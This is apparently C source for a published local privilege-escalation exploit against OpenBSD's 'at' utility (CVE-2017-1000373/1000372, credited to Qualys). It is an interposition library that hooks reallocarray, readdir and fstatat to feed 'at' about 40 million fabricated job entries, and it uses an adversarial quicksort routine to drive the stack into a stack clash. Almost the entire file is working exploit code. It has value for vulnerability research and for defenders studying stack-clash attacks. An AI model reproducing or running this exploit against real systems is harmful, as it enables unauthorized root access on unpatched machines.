OpenBSD 'at' local stack clash privilege escalation exploit.
acb82c1ba12f5809cb4718f34c7c4f71/*
* OpenBSD_at.c for CVE-2017-1000373
* Copyright (c) 2017 Qualys, Inc.
* slowsort() adapted from lib/libc/stdlib/qsort.c:
*
* Copyright (c) 1992, 1993
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
/*
* OpenBSD_at.c for CVE-2017-1000372
* Copyright (C) 2017 Qualys, Inc.
* ttime() adapted from usr.bin/at/at.c:
*
* at.c : Put file into atrun queue
* Copyright (C) 1993, 1994 Thomas Koenig
*
* Atrun & Atq modifications
* Copyright (C) 1993 David Parsons
*
* Traditional BSD behavior and other significant modifications
* Copyright (C) 2002-2003 Todd C. Miller
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. The name of the author(s) may not be used to endorse or promote
* products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <ctype.h>
#include <dirent.h>
#include <dlfcn.h>
#include <fcntl.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>
static const char *
u64tostr(uint64_t u64)
{
static char str[64];
char * cp = str + sizeof(str);
*--cp = '\0';
do {
if (cp <= str) _exit(__LINE__);
*--cp = '0' + (u64 % 10);
} while (u64 /= 10);
return cp;
}
#define die() do { \
const char * const str = u64tostr(__LINE__); \
const size_t len = strlen(str); \
write(STDERR_FILENO, "\n[", 2); \
write(STDERR_FILENO, str, len); \
write(STDERR_FILENO, "]\n", 2); \
_exit(EXIT_FAILURE); \
} while (0)
static __inline char *med3(char *, char *, char *, int (*)(const void *, const void *));
static __inline void swapfunc(char *, char *, size_t, int);
/*
* Qsort routine from Bentley & McIlroy's "Engineering a Sort Function".
*/
#define swapcode(TYPE, parmi, parmj, n) { \
size_t i = (n) / sizeof (TYPE); \
TYPE *pi = (TYPE *) (parmi); \
TYPE *pj = (TYPE *) (parmj); \
do { \
TYPE t = *pi; \
*pi++ = *pj; \
*pj++ = t; \
} while (--i > 0); \
}
#define SWAPINIT(a, es) swaptype = ((char *)a - (char *)0) % sizeof(long) || \
es % sizeof(long) ? 2 : es == sizeof(long)? 0 : 1;
static __inline void
swapfunc(char *a, char *b, size_t n, int swaptype)
{
if (swaptype <= 1)
swapcode(long, a, b, n)
else
swapcode(char, a, b, n)
}
#define swap(a, b) \
if (swaptype == 0) { \
long t = *(long *)(a); \
*(long *)(a) = *(long *)(b); \
*(long *)(b) = t; \
} else \
swapfunc(a, b, es, swaptype)
#define vecswap(a, b, n) if ((n) > 0) swapfunc(a, b, n, swaptype)
static __inline char *
med3(char *a, char *b, char *c, int (*cmp)(const void *, const void *))
{
return cmp(a, b) < 0 ?
(cmp(b, c) < 0 ? b : (cmp(a, c) < 0 ? c : a ))
:(cmp(b, c) > 0 ? b : (cmp(a, c) < 0 ? a : c ));
}
typedef struct {
size_t idx;
size_t key;
} slowsort_t;
static __inline void
set_key(void * const _pss, const size_t key)
{
slowsort_t * const pss = _pss;
if (!pss) die();
if (!key) die();
if (pss->key) die();
pss->key = key;
}
#define RESET_KEY SIZE_MAX
static void
slowsort(void *aa, size_t n, size_t es, int (*cmp)(const void *, const void *), const size_t stack_size)
{
if (!aa) die();
if (n <= 0) die();
if (n >= SSIZE_MAX) die();
if (es <= 0) die();
if (es >= SSIZE_MAX) die();
if (!cmp) die();
#define SET_KEYS 4
#define STACK_FRAME_SIZE 176
const size_t pathological = stack_size / STACK_FRAME_SIZE * SET_KEYS;
if (n < pathological) die();
size_t innocuous = n - pathological;
char *pa, *pb, *pc, *pd, *pl, *pm, *pn;
int cmp_result, swaptype;
size_t d, r;
char *a = aa;
loop: SWAPINIT(a, es);
if (innocuous) {
if (n <= innocuous) die();
if (n - innocuous <= SET_KEYS) die();
if (n <= 40) die();
}
if (n < 7) {
for (pm = a; pm < a + n * es; pm += es) {
set_key(pm, 1 + (pm - a) / es);
}
for (pm = (char *)a + es; pm < (char *) a + n * es; pm += es)
for (pl = pm; pl > (char *) a && cmp(pl - es, pl) > 0;
pl -= es)
swap(pl, pl - es);
return;
}
pm = (char *)a + (n / 2) * es;
size_t set_keys = 0;
if (n > 7) {
pl = (char *)a;
pn = (char *)a + (n - 1) * es;
if (n > 40) {
d = (n / 8) * es;
if (innocuous) {
set_key(pl, RESET_KEY);
set_key(pl + d, RESET_KEY);
set_key(pl + 2 * d, RESET_KEY);
}
pl = med3(pl, pl + d, pl + 2 * d, cmp);
if (innocuous) set_key(pm - d, RESET_KEY);
set_key(pm + 0, n - innocuous - 3);
set_key(pm + d, n - innocuous - 2);
pm = med3(pm - d, pm, pm + d, cmp);
if (innocuous) set_key(pn - 2 * d, RESET_KEY);
set_key(pn - d, n - innocuous - 1);
set_key(pn - 0, n - innocuous - 0);
pn = med3(pn - 2 * d, pn - d, pn, cmp);
set_keys = SET_KEYS;
} else {
set_key(pm, n - 1);
set_key(pn, n - 0);
set_keys = 2;
}
pm = med3(pl, pm, pn, cmp);
} else {
set_key(pm, n - 0);
set_keys = 1;
}
if (!set_keys) die();
swap(a, pm);
if (innocuous) {
if (a != aa) die();
slowsort_t * pss = aa;
{
const size_t key = pss->key;
if (!key) die();
if (n <= 40) die();
if (set_keys != SET_KEYS) die();
if (key != n - innocuous - set_keys + 1) die();
}
const slowsort_t * const end = pss + n;
size_t i = 0;
for (;; pss++) {
if (pss >= end) {
if (i != innocuous) die();
break;
}
if (!pss->key) {
if (i < innocuous) {
set_key(pss, n - i++);
set_keys++;
}
} else if (pss->key == RESET_KEY) {
pss->key = 0;
} else {
if (pss->key > n - innocuous) die();
}
}
}
pa = pb = (char *)a + es;
pc = pd = (char *)a + (n - 1) * es;
for (;;) {
while (pb <= pc && (cmp_result = cmp(pb, a)) <= 0) {
if (cmp_result == 0) {
swap(pa, pb);
pa += es;
}
pb += es;
}
while (pb <= pc && (cmp_result = cmp(pc, a)) >= 0) {
if (cmp_result == 0) {
swap(pc, pd);
pd -= es;
}
pc -= es;
}
if (pb > pc)
break;
swap(pb, pc);
pb += es;
pc -= es;
}
pn = (char *)a + n * es;
r = MIN(pa - (char *)a, pb - pa);
vecswap(a, pb - r, r);
r = MIN(pd - pc, pn - pd - (ssize_t)es);
vecswap(pb, pn - r, r);
if ((pb - pa) / es != n - set_keys) die();
if ((pd - pc) / es != set_keys - 1) die();
if ((r = pb - pa) > es) {
n = r / es;
innocuous = 0;
goto loop;
}
die();
}
static int
cmp_key(const void * const a, const void * const b)
{
const size_t __a_key = ((const slowsort_t *)a)->key;
const size_t __b_key = ((const slowsort_t *)b)->key;
const size_t a_key = __a_key != RESET_KEY ? __a_key : 0;
const size_t b_key = __b_key != RESET_KEY ? __b_key : 0;
if (a_key < b_key) return -1;
if (a_key > b_key) return +1;
return 0;
}
#define ATOI2(s) ((s) += 2, ((s)[-2] - '0') * 10 + ((s)[-1] - '0'))
/*
* Adapted from date(1)
*/
static time_t
ttime(char *arg)
{
time_t now, then;
struct tm *lt;
int yearset;
char *dot, *p;
if (time(&now) == (time_t)-1 || (lt = localtime(&now)) == NULL)
die();
/* Valid date format is [[CC]YY]MMDDhhmm[.SS] */
for (p = arg, dot = NULL; *p != '\0'; p++) {
if (*p == '.' && dot == NULL)
dot = p;
else if (!isdigit((unsigned char)*p))
goto terr;
}
if (dot == NULL)
lt->tm_sec = 0;
else {
*dot++ = '\0';
if (strlen(dot) != 2)
goto terr;
lt->tm_sec = ATOI2(dot);
if (lt->tm_sec > 61) /* could be leap second */
goto terr;
}
yearset = 0;
switch(strlen(arg)) {
case 12: /* CCYYMMDDhhmm */
lt->tm_year = ATOI2(arg) * 100;
lt->tm_year -= 1900; /* Convert to Unix time */
yearset = 1;
/* FALLTHROUGH */
case 10: /* YYMMDDhhmm */
if (yearset) {
yearset = ATOI2(arg);
lt->tm_year += yearset;
} else {
yearset = ATOI2(arg);
/* POSIX logic: [00,68]=>20xx, [69,99]=>19xx */
lt->tm_year = yearset;
if (yearset < 69)
lt->tm_year += 100;
}
/* FALLTHROUGH */
case 8: /* MMDDhhmm */
lt->tm_mon = ATOI2(arg);
if (lt->tm_mon > 12 || lt->tm_mon == 0)
goto terr;
--lt->tm_mon; /* Convert from 01-12 to 00-11 */
lt->tm_mday = ATOI2(arg);
if (lt->tm_mday > 31 || lt->tm_mday == 0)
goto terr;
lt->tm_hour = ATOI2(arg);
if (lt->tm_hour > 23)
goto terr;
lt->tm_min = ATOI2(arg);
if (lt->tm_min > 59)
goto terr;
break;
default:
goto terr;
}
lt->tm_isdst = -1; /* mktime will deduce DST. */
then = mktime(lt);
if (then == (time_t)-1) {
terr:
die();
}
if (then < now)
die();
return (then);
}
static bool reading_jobs;
void *
reallocarray(void * const ptr, const size_t nmemb, const size_t size)
{
static void * (* real_reallocarray)(void *ptr, size_t nmemb, size_t size);
if (!real_reallocarray) {
real_reallocarray = dlsym(RTLD_NEXT, "reallocarray");
if (!real_reallocarray) die();
}
if (ptr == NULL && nmemb == 2 + 4 && size == sizeof(struct atjob *)) {
if (reading_jobs) die();
reading_jobs = true;
}
void * const new_ptr = real_reallocarray(ptr, nmemb, size);
if (!new_ptr) die();
return new_ptr;
}
#define NUMJOBS (40<<20)
static const size_t *
get_jobkeys(void)
{
const size_t n = NUMJOBS;
slowsort_t * const a = calloc(n, sizeof(slowsort_t));
write(STDERR_FILENO, "initializing jobkeys\n", 21);
if (!a) die();
size_t i;
for (i = 0; i < n; i++) {
a[i].idx = i;
}
slowsort(a, n, sizeof(slowsort_t), cmp_key, 33<<20);
size_t * const jobkeys = calloc(n, sizeof(*jobkeys));
write(STDERR_FILENO, "finalizing jobkeys\n", 19);
if (!jobkeys) die();
for (i = 0; i < n; i++) {
const size_t j = a[i].idx;
const size_t k = a[i].key;
if (j >= n) die();
if (k <= 0) die();
if (k > n) die();
if (jobkeys[j]) die();
jobkeys[j] = k;
}
free(a);
return jobkeys;
}
static struct dirent dirent;
struct dirent *
readdir(DIR * const dirp)
{
static struct dirent * (* real_readdir)(DIR *dirp);
if (!real_readdir) {
real_readdir = dlsym(RTLD_NEXT, "readdir");
if (!real_readdir) die();
}
if (!reading_jobs) {
return real_readdir(dirp);
}
static size_t numjobs;
if (numjobs >= NUMJOBS) {
write(STDERR_FILENO, "sorting jobs\n", 13);
return NULL;
}
static char arg[32];
char * cp = arg + sizeof(arg);
*--cp = '\0';
{
static const struct {
uint32_t min;
uint32_t max;
} units[] = {
{ 0, 59 }, /* Second */
{ 0, 59 }, /* Minute */
{ 0, 23 }, /* Hour */
{ 1, 28 }, /* Day */
{ 1, 12 }, /* Month */
{ 2038, 2099 } /* Year */
};
static const size_t * jobkeys;
if (!jobkeys) {
jobkeys = get_jobkeys();
if (!jobkeys) die();
write(STDERR_FILENO, "reading jobs\n", 13);
}
uint32_t timer = jobkeys[numjobs++];
if (timer > NUMJOBS) die();
if (timer <= 0) die();
static size_t percent = 10;
if (numjobs == NUMJOBS / 100 * percent) {
const char * const str = u64tostr(percent);
const size_t len = strlen(str);
write(STDERR_FILENO, str, len);
write(STDERR_FILENO, "%\n", 2);
percent += 10;
}
size_t i;
for (i = 0; i < sizeof(units)/sizeof(*units); i++) {
const uint32_t min = units[i].min;
const uint32_t max = units[i].max;
const uint32_t div = max - min + 1;
const uint32_t u32 = min + timer % div;
timer /= div;
if (u32 < min) die();
if (u32 > max) die();
const char * const str = u64tostr(u32);
const size_t len = strlen(str);
if (cp <= arg) die();
if (cp - arg < (ssize_t)len) die();
cp -= len;
memcpy(cp, str, len);
if (len < 2) {
if (cp <= arg) die();
*--cp = '0';
}
if (!i) {
if (cp <= arg) die();
*--cp = '.';
}
}
if (timer) die();
}
if (strlen(cp) != 15) die();
const uint64_t timer = ttime(cp);
strlcpy(dirent.d_name, u64tostr(timer), sizeof(dirent.d_name));
strlcat(dirent.d_name, ".x", sizeof(dirent.d_name));
return &dirent;
}
int
fstatat(const int fd, const char * const path, struct stat * const sb, const int flag)
{
static int (* real_fstatat)(int fd, const char *path, struct stat *sb, int flag);
if (!real_fstatat) {
real_fstatat = dlsym(RTLD_NEXT, "fstatat");
if (!real_fstatat) die();
}
if (!reading_jobs || flag != AT_SYMLINK_NOFOLLOW || strcmp(path, dirent.d_name) != 0) {
return real_fstatat(fd, path, sb, flag);
}
memset(sb, 0, sizeof(*sb));
sb->st_mode = S_IFREG | S_IRUSR | S_IWUSR;
static uid_t user_uid;
if (!user_uid) {
user_uid = getuid();
if (!user_uid) die();
}
sb->st_uid = user_uid;
return 0;
}